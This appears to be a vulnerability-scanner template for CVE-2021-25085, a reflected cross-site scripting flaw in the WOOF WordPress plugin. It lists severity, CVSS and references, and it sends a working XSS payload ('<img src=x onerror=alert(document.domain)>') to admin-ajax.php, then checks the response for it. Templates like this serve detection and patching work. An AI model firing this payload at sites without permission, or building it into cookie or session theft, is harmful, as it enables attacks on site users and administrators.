id: CVE-2021-25085

info:
  name: WOOF WordPress plugin - Cross-Site Scripting
  author: Maximus Decimus
  severity: medium
  description: |
    The WOOF WordPress plugin does not sanitize or escape the woof_redraw_elements parameter before reflecting it back in an admin page, leading to a reflected cross-site scripting.
  reference:
    - https://wpscan.com/vulnerability/b7dd81c6-6af1-4976-b928-421ca69bfa90
    - https://plugins.trac.wordpress.org/changeset/2648751
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25085
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-25085
    cwe-id: CWE-79
    epss-score: 0.001
    cpe: cpe:2.3:a:pluginus:woocommerce_products_filter:*:*:*:*:*:wordpress:*:*
    epss-percentile: 0.40521
  metadata:
    max-request: 1
    verified: true
    framework: wordpress
    vendor: pluginus
    product: woocommerce_products_filter
  tags: cve,cve2021,wordpress,wp-plugin,wp,xss,wpscan

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=woof_draw_products&woof_redraw_elements[]=<img%20src=x%20onerror=alert(document.domain)>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"additional_fields":["<img src=x onerror=alert(document.domain)>"]}'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200